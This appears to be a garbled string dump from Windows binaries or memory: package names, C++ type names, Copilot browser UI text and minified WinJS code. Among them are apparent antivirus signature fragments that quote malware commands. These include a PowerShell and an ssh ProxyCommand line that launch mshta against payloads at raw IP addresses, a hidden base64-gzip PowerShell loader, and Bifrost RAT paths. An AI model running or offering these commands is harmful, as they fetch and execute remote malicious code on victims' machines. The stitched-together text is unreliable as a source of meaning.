rWINDOWS<
C:\WINDOWS\System32\svchost.exe -k netprofm -p
ComSpec=C:\WINDOWS\system32\cmd.exe
OS=Windows_NT
Microsoft.Windows.Services.Experiences.ExperienceExtensions
Microsoft.Windows.Wil.FeatureLogging
Let Windows suggest Ease of Access settingsP
UClassic_{EF8F379B-747B-4C8E-B3D1-4A29E6CF45AE}'^Change Windows To Go startup optionsS
Windows
This site has been flagged by Microsoft Defender SmartScreen. Microsoft Copilot suggests you avoid this site. Using this site will put your privacy and security at risk.Microsoft Copilot limits most sites from using third-party cookies to track you as you browse. Visit settings to $1.Microsoft Copilot periodically checks your passwords against lists that have been published online. When doing this, your passwords and usernames are encrypted, so they can't be read by anyone, including Microsoft.When you use a password, Microsoft Copilot warns you if it has been published online. When doing this, your passwords and usernames are encrypted, so they can't be read by anyone, including Microsoft.Microsoft Copilot PasswordsMicrosoft Copilot is trying to fill your password on $1.Passkey from Copilot profileMicrosoft Copilot is trying to turn on Windows Hello for filling passwords.Microsoft Copilot is trying to turn off Windows Hello for filling passwords.Cards and addresses are from Microsoft Copilot. You can manage them in BEGIN_LINKSettingsEND_LINK.An application is preventing Microsoft Copilot from safely connecting to this siteCan't establish a secure connection: The certificates that websites use to identify themselves are only valid for specific periods of time. Because your device's clock is incorrect, Microsoft Copilot can't verify these certificates.$1 uses encryption to protect your information. When Microsoft Copilot tried to connect to $1 this time, the website sent back unusual and incorrect credentials. This may happen when an attacker is trying to pretend to be $1, or a Wi-Fi sign-in screen has interrupted the connection. Your information is still secure because Microsoft Copilot stopped the connection before any data was exchanged.You can't visit $1 right now because the website sent scrambled credentials that Microsoft Copilot can't process. Network errors and attacks are usually temporary, so this page will probably work later.<h4>Step 1: Sign in to the portal</h4>
Microsoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.26100.1591.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
1WindowsClientString>QscBWlAzbbNJQJYcJsQIJt5fMpcXRx6ZdFxhm//Ji14=W
shell\windowsuiimmersive\popup\dimmingwindow.cpp
Microsoft-Windows-OfflineFiles-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.5074.cat
Microsoft-Windows-OfflineFiles-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
windir=C:\WINDOWS
SystemRoot=C:\WINDOWS
WINDOWS\ServiceProfiles\Network
=C:\Windows\System32\
adjust|ajust|alter|change|edit|modify|replace|reset|set|switch|associate|association|associations|extensions|extentions|type|filetype|open|with|applets|applications|apps|aps|files|programmes|programs|softare|softwares|sofware|sotfware|windos|windows|?
re signed in to Microsoft Copilot, passwords you save will go in your Microsoft Account, $1. To turn this off, go to settings.Choose sign in below to use this app with Microsoft Copilot credentials.Edit this screenshot. Open screenshot editor to modify a screenshot of your desktop and Microsoft Copilot windows. Warning: might contain sensitive information.Hey, you're not signed into Microsoft Copilot. Signing in is the way to track your feedback. <a href="#" id="browser-sign-in">Sign in now</a>Recommend Microsoft CopilotHow likely are you to recommend Microsoft Copilot to a friend or colleague?Would you recommend Microsoft Copilot to others, if asked?Would you recommend Microsoft Copilot $1 to others, if asked?Microsoft Copilot can't open this file type.Microsoft Copilot Pinning WizardHmm...we don't have any suggestions for you right now. Our suggestions are based on your usage of Microsoft Copilot, so try using it for a while and then ask us again.This extension has been turned off to protect your application settings.Microsoft Copilot logoYour application is managed by your organizationapplication is managedUpdate available for Microsoft Copilot. Press Alt+F to open Settings and more menu.Update recommended for Microsoft Copilot. Press Alt+F to open Settings and more menu.Please update Microsoft Copilot now. Press Alt+F to open Settings and more menu.Live Capture Window opened in applicationMicrosoft Copilot <em>won't save</em>:
System.Windows.Forms.UnsafeNativeMethods.IPersistStorage.HandsOffStorage
System.Windows.Forms.UnsafeNativeMethods.IMsoComponent.FPreTranslateMessage
System.Windows.Forms.UnsafeNativeMethods.IMsoComponentManager.FDebugMessage
Mozilla/5.0 (Windows NT 6.2; Trident/6.0; rv:5.0) Gecko/20100101 Firefox/5.0
Mozilla/5.0 (Windows NT 6.2; Trident/6.0) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.112 Safari/534.30
Mozilla/5.0 (iPad; Windows NT 6.2; Trident/6.0) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10
headset audio with Windows Mixed Realityr
of headset audio with Windows Mixed Reality|
mirroring of headset audio with Windows Mixed Reality
filter|additional|multiple|MR settings|Windows MR settings|@
Windows\CurrentVersion\App Paths\
Microsoft.Windows.Security.CertInUse
%Microsoft Windows Production PCA 20110
Microsoft Windows0
%Microsoft Windows Production PCA 20110
%Microsoft Windows Production PCA 2011
Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Features-Package06~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
Microsoft-Windows-Client-Desktop-Required-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.26010.5-0\MsMpEng.exe
Global.WidgetDataModelGlobal.WidgetDataModel@{MicrosoftWindows.Client.WebExperience_526.1202.40.0_x64__cw5n1h2txyewy?ms-resource://MicrosoftWindows.Client.WebExperience/Files/Assets/Square150x150Logo.png}@{MicrosoftWindows.Client.WebExperience_526.1202.40.0_x64__cw5n1h2txyewy?ms-resource://MicrosoftWindows.Client.WebExperience/Files/Assets/Square44x44Logo.png}http://microsoft.com
@{MicrosoftWindows.Client.WebExperience_526.1202.40.0_x64__cw5n1h2txyewy?ms-resource://MicrosoftWindows.Client.WebExperience/WidgetBoard/Resources/AppDisplayName}@{MicrosoftWindows.Client.WebExperience_526.1202.40.0_x64__cw5n1h2txyewy?ms-resource://MicrosoftWindows.Client.WebExperience/WidgetBoard/Resources/AppDescription}@{MicrosoftWindows.Client.WebExperience_526.1202.40.0_x64__cw5n1h2txyewy?ms-resource://MicrosoftWindows.Client.WebExperience/Files/Assets/Square150x150Logo.png}@{MicrosoftWindows.Client.WebExperience_526.1202.40.0_x64__cw5n1h2txyewy?ms-resource://MicrosoftWindows.Client.WebExperience/Files/Assets/Square44x44Logo.png}g}
@{MicrosoftWindows.Client.WebExperience_526.1202.40.0_x64__cw5n1h2txyewy?ms-resource://MicrosoftWindows.Client.WebExperience/Resources/PkgDisplayName}@{MicrosoftWindows.Client.WebExperience_526.1202.40.0_x64__cw5n1h2txyewy?ms-resource://MicrosoftWindows.Client.WebExperience/Resources/PkgDisplayName}@{MicrosoftWindows.Client.WebExperience_526.1202.40.0_x64__cw5n1h2txyewy?ms-resource://MicrosoftWindows.Client.WebExperience/Files/Dashboard/Images/Square150x150Logo.png}@{MicrosoftWindows.Client.WebExperience_526.1202.40.0_x64__cw5n1h2txyewy?ms-resource://MicrosoftWindows.Client.WebExperience/Files/Dashboard/Images/Square44x44Logo.png}@{MicrosoftWindows.Client.WebExperience_526.1202.40.0_x64__cw5n1h2txyewy?ms-resource://MicrosoftWindows.Client.WebExperience/Files/Dashboard/Images/Square310x150Logo.png}g}
DesktopPackageMetadataPackageMetadata@{MicrosoftWindows.Client.WebExperience_526.1202.40.0_x64__cw5n1h2txyewy?ms-resource://MicrosoftWindows.Client.WebExperience/Files/Assets/Square150x150Logo.png}@{MicrosoftWindows.Client.WebExperience_526.1202.40.0_x64__cw5n1h2txyewy?ms-resource://MicrosoftWindows.Client.WebExperience/Files/Assets/Square44x44Logo.png}https://www.microsoft.comom
@{Microsoft.WindowsNotepad_11.2510.14.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.WindowsNotepad/Resources/AppDisplayName_Notepad}@{Microsoft.WindowsNotepad_11.2510.14.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.WindowsNotepad/Resources/AppDescription_Notepad}@{Microsoft.WindowsNotepad_11.2510.14.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.WindowsNotepad/Files/Assets/NotepadMedTile.png}@{Microsoft.WindowsNotepad_11.2510.14.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.WindowsNotepad/Files/Assets/NotepadAppList.png}@{Microsoft.WindowsNotepad_11.2510.14.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.WindowsNotepad/Files/Assets/NotepadWideTile.png}@{Microsoft.WindowsNotepad_11.2510.14.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.WindowsNotepad/Files/Assets/NotepadLargeTile.png}@{Microsoft.WindowsNotepad_11.2510.14.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.WindowsNotepad/Files/Assets/NotepadSmallTile.png}
OutlookMicrosoft Outlook@{Microsoft.OutlookForWindows_1.2026.210.300_x64__8wekyb3d8bbwe?ms-resource://Application/Files/Assets/MedTile.png}@{Microsoft.OutlookForWindows_1.2026.210.300_x64__8wekyb3d8bbwe?ms-resource://Application/Files/Assets/AppList.png}@{Microsoft.OutlookForWindows_1.2026.210.300_x64__8wekyb3d8bbwe?ms-resource://Application/Files/Assets/WideTile.png}@{Microsoft.OutlookForWindows_1.2026.210.300_x64__8wekyb3d8bbwe?ms-resource://Application/Files/Assets/LargeTile.png}@{Microsoft.OutlookForWindows_1.2026.210.300_x64__8wekyb3d8bbwe?ms-resource://Application/Files/Assets/SmallTile.png}s5
DriverData=C:\Windows\System32\Drivers\DriverData
--user-agent=Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.18.9.23723; 10.0.0.0.26200.7840) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/7?
Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-Package03~31bf3856ad364e35~amd64~~10.0.26100.1591.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-Package03~31bf3856ad364e35~amd64~~10.0.26100.1591.cat
Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
\driver\objfre\i386\acpidisk.pdbwindows driver manager running %s!windows system driver started!
38^windows.backgroundTasks
Microsoft-Windows-HyperV-OptionalFeature-VirtualMachinePlatform-Client-Package~31bf3856ad364e35~amd64~~10.0.26100.7840
Microsoft-Windows-HVSI-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705
SystemSettings_WindowsDefender_DefenderProviderList
SystemSettings_WindowsDefender_DefenderSubheader
VCOMPONENT_INSTALLER_DIR=C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy9
.?AUtype@?$abi@U?$IVector@UTypedTemplate@TaskManagerApp@winrt@@@Collections@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$produce_base@USettingEntryTemplateSelector@implementation@TaskManagerApp@winrt@@UIDataTemplateSelectorOverrides@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@USettingEntryTemplateSelector@implementation@TaskManagerApp@winrt@@UIDataTemplateSelectorOverrides2@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@USettingEntryTemplateSelector@implementation@TaskManagerApp@winrt@@UIDataTemplateSelectorOverrides2@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AUtype@?$abi@U?$IObservableVector@UTypedTemplate@TaskManagerApp@winrt@@@Collections@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$produce@USettingEntryTemplateSelector@implementation@TaskManagerApp@winrt@@UIDataTemplateSelectorOverrides@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$delegate@UKeyEventHandler@Input@Xaml@UI@Windows@winrt@@V<lambda_a699d3c66457773a3b88314545d35cdd>@@@impl@winrt@@
.?AU?$implements_delegate@UKeyEventHandler@Input@Xaml@UI@Windows@winrt@@V<lambda_a699d3c66457773a3b88314545d35cdd>@@@impl@winrt@@
.?AU?$produce_base@USettingsExpander@implementation@TaskManagerApp@winrt@@UIUIElementOverrides9@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce_base@USettingsExpander@implementation@TaskManagerApp@winrt@@UIUIElementOverrides7@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@USettingsExpander@implementation@TaskManagerApp@winrt@@UIUIElementOverrides8@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@USettingsExpander@implementation@TaskManagerApp@winrt@@UIUIElementOverrides8@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@USettingsExpander@implementation@TaskManagerApp@winrt@@UIUIElementOverrides9@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@USettingsExpander@implementation@TaskManagerApp@winrt@@UIFrameworkElementOverrides2@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@USettingsExpander@implementation@TaskManagerApp@winrt@@UIUIElementOverrides@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@USettingsExpander@implementation@TaskManagerApp@winrt@@UIUIElementOverrides@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@USettingsExpander@implementation@TaskManagerApp@winrt@@UIUIElementOverrides7@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@USettingsExpander@implementation@TaskManagerApp@winrt@@UIControlOverrides6@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@USettingsExpander@implementation@TaskManagerApp@winrt@@UIFrameworkElementOverrides@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@USettingsExpander@implementation@TaskManagerApp@winrt@@UIFrameworkElementOverrides@Xaml@UI@Windows@4@X@impl@winrt@@
HIAsyncOperation@PE$AAU?$IVectorView@PE$AAVAppInstallItem@InstallControl@Preview@Store@ApplicationModel@Windows@@@Collections@Foundation@Windows@@@Foundation@Windows@@W4AsyncStatus@34@@Details@Platform@@
.?AV?$_Ref_count_obj@U?$_Task_impl@PE$AAVGetEntitlementResult@InstallControl@Preview@Store@ApplicationModel@Windows@@@details@Concurrency@@@std@@
.?AV?$_Ref_count_obj@U?$_Task_impl@PE$AAU?$IVectorView@PE$AAVAppInstallItem@InstallControl@Preview@Store@ApplicationModel@Windows@@@Collections@Foundation@Windows@@@details@Concurrency@@@std@@
.?AU?$_Task_impl@PE$AAVGetEntitlementResult@InstallControl@Preview@Store@ApplicationModel@Windows@@@details@Concurrency@@
.?AU__abi_IDelegate@?$AsyncOperationCompletedHandler@PE$AAVGetEntitlementResult@InstallControl@Preview@Store@ApplicationModel@Windows@@@Foundation@Windows@@
.?AU?$_Task_impl@PE$AAU?$IVectorView@PE$AAVAppInstallItem@InstallControl@Preview@Store@ApplicationModel@Windows@@@Collections@Foundation@Windows@@@details@Concurrency@@
.?AU__abi_IDelegate@?$AsyncOperationCompletedHandler@PE$AAU?$IVectorView@PE$AAVAppInstallItem@InstallControl@Preview@Store@ApplicationModel@Windows@@@Collections@Foundation@Windows@@@Foundation@Windows@@
.?AV?$AsyncOperationCompletedHandler@PE$AAU?$IVectorView@PE$AAVAppInstallItem@InstallControl@Preview@Store@ApplicationModel@Windows@@@Collections@Foundation@Windows@@@Foundation@Windows@@
.?AV?$AsyncOperationCompletedHandler@PE$AAVGetEntitlementResult@InstallControl@Preview@Store@ApplicationModel@Windows@@@Foundation@Windows@@
dbifrostNtWriteVirtualMemory{9B71D88C-C598-4935-C5D1-43AA4DB90836}SOFTWARE\Microsoet\Active Setup\Installed Components\%sSOFTWARE\Microsoet\Windows\CurrentVersion\App Paths\iexplore.exec:\bifrost\server.exe
software\microsoft\windows\currentversion\explorer\shellexecutehooks\?do=send&game=
c:\windows\system32\drivers\
c:\windows\system32\
WINDOWS11
Microsoft-Windows-Client-Desktop-Required-Package001120~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
Microsoft-Windows-CrashDump-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
Microsoft-Windows-Client-Features-Package010~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
(tsystem32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca
1M64W9XZQ7Aliens: Dark Descent (Windows)
Microsoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Windows Advanced Threat Protection
Windows Defender`
c:\windows\system32\windowspowershell\v1.0\powershell.exe.(gp-pa'hklm:\sof*\clas*\applications\msh*e').('pschildname')http://45.126.209.57/dr/orkhbhd.hta
0c:\windows\system32\openssh\ssh.exe-oproxycommand="powershellpowershell-command'o7yswen_:imshtahttp://150.241.97.10/aa.mp4o7yswen_:i'.substring(10,33)".
RIPT:BAT/WinLogon
\windows\system"/venn
Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.18.9.23723; 10.0.0.0.26200.7840) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.26200 IsWebView2/True (WebView2Version 145.0.3800.70)
Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.18.9.23723; 10.0.0.0.26200.7840) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.26200 IsWebView2/True (WebView2Version 145.0.3800.70)
.?AV?$CTaskWrapper@V<lambda_0e7e475db06115e2f9088bb48283a079>@@@ComTaskPool@Internal@Windows@@
.?AV?$CTaskWrapper@V<lambda_8af94db49a1cedf6fec0583191ddfd65>@@@ComTaskPool@Internal@Windows@@
$s.Arguments='-nop -w hidden -c $s=New-Object IO.MemoryStream(,[Convert]::FromBase64StringIO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress)$s.UseShellExecute=$false;$s.RedirectStandardOutput=$true;$s.WindowStyle='Hidden'!#HSTR:Win32/Bropia.gen!E
Microsoft.Windows.CloudExperienceHost_10.0.26100.1_neutral
Microsoft.Windows.PrintQueueActionCenter_1.0.2.0_neutral
.?AU?$producers_base@UStartupAppsPageViewModel@implementation@TaskManagerApp@winrt@@V?$tuple@UStartupAppsPageViewModel@TaskManagerApp@winrt@@UINotifyPropertyChanged@Data@Xaml@UI@Windows@3@@std@@@impl@winrt@@
.?AU?$produce_base@UUsersPageViewModel@factory_implementation@TaskManagerApp@winrt@@UIActivationFactory@Foundation@Windows@4@X@impl@winrt@@
.?AU?$root_implements@UUsersPageViewModel@factory_implementation@TaskManagerApp@winrt@@UIActivationFactory@Foundation@Windows@4@UIUsersPageViewModelStatics@34@Ustatic_lifetime@4@@impl@winrt@@
.?AU?$implements@UUsersPageViewModel@factory_implementation@TaskManagerApp@winrt@@UIActivationFactory@Foundation@Windows@4@UIUsersPageViewModelStatics@34@Ustatic_lifetime@4@@winrt@@
.?AU?$produce@UUsersPageViewModel@factory_implementation@TaskManagerApp@winrt@@UIActivationFactory@Foundation@Windows@4@@impl@winrt@@
.?AU?$producer_convert@UUsersPageViewModel@factory_implementation@TaskManagerApp@winrt@@UIActivationFactory@Foundation@Windows@4@X@impl@winrt@@
.?AU?$produce_base@UUsersPageViewModel@implementation@TaskManagerApp@winrt@@UINotifyPropertyChanged@Data@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producers_base@UUsersPageViewModel@factory_implementation@TaskManagerApp@winrt@@V?$tuple@UIActivationFactory@Foundation@Windows@winrt@@UIUsersPageViewModelStatics@TaskManagerApp@4@@std@@@impl@winrt@@
.?AU?$producer@UUsersPageViewModel@factory_implementation@TaskManagerApp@winrt@@UIActivationFactory@Foundation@Windows@4@X@impl@winrt@@
.?AU?$produce@UUsersPageViewModel@implementation@TaskManagerApp@winrt@@UINotifyPropertyChanged@Data@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$producer@UUsersPageViewModel@implementation@TaskManagerApp@winrt@@UINotifyPropertyChanged@Data@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$root_implements@UUsersPageViewModel@implementation@TaskManagerApp@winrt@@U134@UINotifyPropertyChanged@Data@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$implements@UUsersPageViewModel@implementation@TaskManagerApp@winrt@@U134@UINotifyPropertyChanged@Data@Xaml@UI@Windows@4@@winrt@@
onecore\windows\accessibletech\uiamanager\dll\uiamanagerendpointstatenotifier.cpp
onecore\windows\accessibletech\uiamanager\dll\uiaendpointnotifier.cpp
onecore\windows\accessibletech\uiamanager\dll\uiawindownotifier.cpp
gonecore\windows\accessibletech\uiamanager\dll\uiamanagerendpointstatenotifierclassfactory.cpp
onecore\windows\accessibletech\uiamanager\dll\uiamanagerservicehostcomponent.cpp
onecore\windows\accessibletech\uiamanager\dll\uiaendpointregistration.cpp
onecore\windows\accessibletech\uiamanager\dll\uiamanagerimpl.cpp
onecore\windows\accessibletech\uiamanager\dll\protobufhelper.cpp
onecore\windows\accessibletech\common\basicuiautils.cpp
PointerCapture:function(n,t){n.releasePointerCapture&&n.releasePointerCapture(t)},_MSPointerEvent:et,_getComputedStyle:l,_zoomToDuration:w,_zoomTo:function(n,t){this._supportsSnapPoints&&n.msZoomTo?n.msZoomTo(t):e.schedule(function(){var i=vt(n),o=typeof n._zoomToDestX=="number"?n._zoomToDestX:i.scrollLeft,s=typeof n._zoomToDestY=="number"?n._zoomToDestY:i.scrollTop,u=l(n),c=n.scrollWidth-parseInt(u.width,10)-parseInt(u.paddingLeft,10)-parseInt(u.paddingRight,10),a=n.scrollHeight-parseInt(u.height,10)-parseInt(u.paddingTop,10)-parseInt(u.paddingBottom,10),f,e;if(typeof t.contentX!="number"&&(t.contentX=o),typeof t.contentY!="number"&&(t.contentY=s),f=ft(t.contentX,0,c),e=ft(t.contentY,0,a),f!==o||e!==s){n._zoomToId=n._zoomToId||0;n._zoomToId++;n._zoomToDestX=f;n._zoomToDestY=e;var v=n._zoomToId,y=r._now(),p=(n._zoomToDestX-i.scrollLeft)/w,b=(n._zoomToDestY-i.scrollTop)/w,h=function(){var t=r._now()-y;n._zoomToId===v&&(t>w?(yt(n,n._zoomToDestX,n._zoomToDestY),n._zoomToDestX=null,n._zoomToDestY=null):(yt(n,i.scrollLeft+t*p,i.scrollTop+t*b),r._requestAnimationFrame(h)))};r._requestAnimationFrame(h)}},e.Priority.high,null,"WinJS.Utilities._zoomTo")},_setActive:function(n,i){var r=!0,u,f;try{t.HTMLElement&&t.HTMLElement.prototype.setActive?n.setActive():(i&&(u=i.scrollLeft,f=i.scrollTop),n.focus(),i&&(i.scrollLeft=u,i.scrollTop=f))}catch(e){r=!1}return r},_MutationObserver:bi,_resizeNotifier:{get:function(){return ct||(ct=new ki),ct}},_GenericListener:it,_globalListener:new it("Global",t,{registerThruWinJSCustomEvents:!0}),_documentElementListener:new it("DocumentElement",t.document.documentElement,{registerThruWinJSCustomEvents:!0}),_inputPaneListener:u.Windows.UI.ViewManagement.InputPane?new it("InputPane",u.Windows.UI.ViewManagement.InputPane.getForCurrentView()):{addEventListener:function(){},removeEventListener:function(){}},_addInsertedNotifier:function(i){var u=t.document.createElement("div");return u.style[r._browserStyleEquivalents["animation-name"].scriptName]="WinJS-node-inserted",u.style[r._browserStyleEquivalents["animation-duration"].scriptName]="0.01s",u.style.position="absolute",i.appendChild(u),n._addEventListener(u,"animationStart",function(n){if(n.animationName==="WinJS-node-inserted"){var n=t.document.createEvent("Event");n.initEvent("WinJSNodeInserted",!1,!0);i.dispatchEvent(n)}},!1),u},_inDom:function(i){return new f(function(r){if(t.document.body.contains(i))r();else{var u=function(){i.removeEventListener("WinJSNodeInserted",u,!1);r()};n._addInsertedNotifier(i);i.addEventListener("WinJSNodeInserted",u,!1)}})},_setFlexStyle:function(n,t){var i=n.style;typeof t.grow!="undefined"&&(i.msFlexPositive=t.grow,i.webkitFlexGrow=t.grow,i.flexGrow=t.grow);typeof t.shrink!="undefined"&&(i.msFlexNegative=t.shrink,i.webkitFlexShrink=t.shrink,i.flexShrink=t.shrink);typeof t.basis!="undefined"&&(i.msFlexPreferredSize=t.basis,i.webkitFlexBasis=t.basis,i.flexBasis=t.basis)},Key:{backspace:8,tab:9,enter:13,shift:16,ctrl:17,alt:18,pause:19,capsLock:20,escape:27,space:32,pageUp:33,pageDown:34,end:35,home:36,leftArrow:37,upArrow:38,rightArrow:39,downArrow:40,insert:45,deleteKey:46,num0:48,num1:49,num2:50,num3:51,num4:52,num5:53,num6:54,num7:55,num8:56,num9:57,a:65,b:66,c:67,d:68,e:69,f:70,g:71,h:72,i:73,j:74,k:75,l:76,m:77,n:78,o:79,p:80,q:81,r:82,s:83,t:84,u:85,v:86,w:87,x:88,y:89,z:90,leftWindows:91,rightWindows:92,menu:93,numPad0:96,numPad1:97,numPad2:98,numPad3:99,numPad4:100,numPad5:101,numPad6:102,numPad7:103,numPad8:104,numPad9:105,multiply:106,add:107,subtract:109,decimalPoint:110,divide:111,F1:112,F2:113,F3:114,F4:115,F5:116,F6:117,F7:118,F8:119,F9:120,F10:121,F11:122,F12:123,NavigationView:136,NavigationMenu:137,NavigationUp:138,NavigationDown:139,NavigationLeft:140,NavigationRight:141,NavigationAccept:142,NavigationCancel:143,numLock:144,scrollLock:145,browserBack:166,browserForward:167,semicolon:186,equal:187,comma:188,dash:189,period:190,forwardSlash:191,graveAccent:192,GamepadA:195,GamepadB:196,GamepadX:197,GamepadY:198,GamepadRightShoulder:199,GamepadLeftShoulder:200,GamepadLeftTrigger:201,GamepadRightTrigger:H
WindowsCreateString
WindowsStringHasEmbeddedNull
WindowsIsStringEmpty
WindowsDeleteString
WindowsGetStringRawBuffer
WindowsCreateStringReference
WindowsGetStringLen
WindowsSubstringWithSpecifiedLength
WindowsDuplicateString
WindowsCompareStringOrdinal
\Microsoft\Windows\Start Menu\Programs\System Healer\Launch System Healer.lnk
c:\windows\svchost
c:\windows\svchost
windows internet explorer
.?AVQWindowStateChangeEvent@@
.?AVQWindowsPipeReader@@
.?AVQWindowsPipeWriter@@
.?AVQWindowsCaRootFetcher@@
.?AVQWindowsCaRootFetcherThread@@
WindowsConcatString
Windows.Security.Authentication.Web.Core.dll
Win32API|Windows Sockets Version 2|getsockopt|IPX_ADDRESS
Microsoft\Windows NT\CurrentVersion\NetworkCards|ServiceName
      <xs:enumeration value="windowsApp"/>
  This is the Schema that defines basic elements and attributes for all Windows
Microsoft.Windows.Shell.MTF.Platform
","_ui/appBarIcons/hamburger.comment":"{Locked=qps-ploc,qps-plocm}"}),r("WinJS/Core/_Resources",["exports","./_Global","./_WinRT","./_Base","./_Events","require-json!strings/en-us/Microsoft.WinJS.resjson",],function(n,t,i,r,u,f){"use strict";function a(n){var t=c("ms-resource:///Microsoft.WinJS/"+n);return t.empty&&(t=p(n)),t}function p(n){var t=f[n];return typeof t=="string"&&(t={value:t}),t||{value:n,empty:!0}}function l(n){var t=arguments;return t.length>1&&(n=n.replace(/({{)|(}})|{(\d+)}|({)|(})/g,function(n,i,r,u,f,e){if(f||e)throw l(k.malformedFormatStringInput,f||e);return i&&"{"||r&&"}"||t[(u|0)+1]})),n}var e,v=!1,s="contextchanged",h,w=r.Class.mix(r.Class.define(null,{},{supportedForProcessing:!1}),u.eventMixin),o=new w,b=u._createEventProperty,k={get malformedFormatStringInput(){return"Malformed, did you mean to escape your '{0}'?"}},y,c;r.Namespace.define("WinJS.Resources",{_getWinJSString:a});r.Namespace._moduleDefine(n,"WinJS.Resources",{addEventListener:function(t,r,u){if(i.Windows.ApplicationModel.Resources.Core.ResourceManager&&!v&&t===s)try{var f=n._getResourceContext();f?f.qualifierValues.addEventListener("mapchanged",function(t){n.dispatchEvent(s,{qualifier:t.key,changed:t.target[t.key]})},!1):i.Windows.ApplicationModel.Resources.Core.ResourceManager.current.defaultContext.qualifierValues.addEventListener("mapchanged",function(t){n.dispatchEvent(s,{qualifier:t.key,changed:t.target[t.key]})},!1);v=!0}catch(e){}o.addEventListener(t,r,u)},removeEventListener:o.removeEventListener.bind(o),dispatchEvent:o.dispatchEvent.bind(o),_formatString:l,_getStringWinRT:function(t){var f,r,s,u,o;if(!e){f=i.Windows.ApplicationModel.Resources.Core.ResourceManager.current.mainResourceMap;try{e=f.getSubtree("Resources")}catch(h){}e||(e=f)}try{o=n._getResourceContext();u=o?e.getValue(t,o):e.getValue(t);u&&(r=u.valueAsString,r===undefined&&(r=u.toString()))}catch(h){}if(!r)return n._getStringJS(t);try{s=u.getQualifierValue("Language")}catch(h){return{value:r}}return{value:r,lang:s}},_getStringJS:function(n){var i=t.strings&&t.strings[n];return typeof i=="string"&&(i={value:i}),i||{value:n,empty:!0}},_getResourceContext:function(){if(t.document&&typeof h=="undefined"){var n=i.Windows.ApplicationModel.Resources.Core.ResourceContext;h=n.getForCurrentView?n.getForCurrentView():null}return h},oncontextchanged:b(s)});y=i.Windows.ApplicationModel.Resources.Core.ResourceManager?n._getStringWinRT:n._getStringJS;c=function(n){return y(n)};r.Namespace._moduleDefine(n,null,{_formatString:l,_getWinJSString:a});r.Namespace._moduleDefine(n,"WinJS.Resources",{getString:{get:function(){return 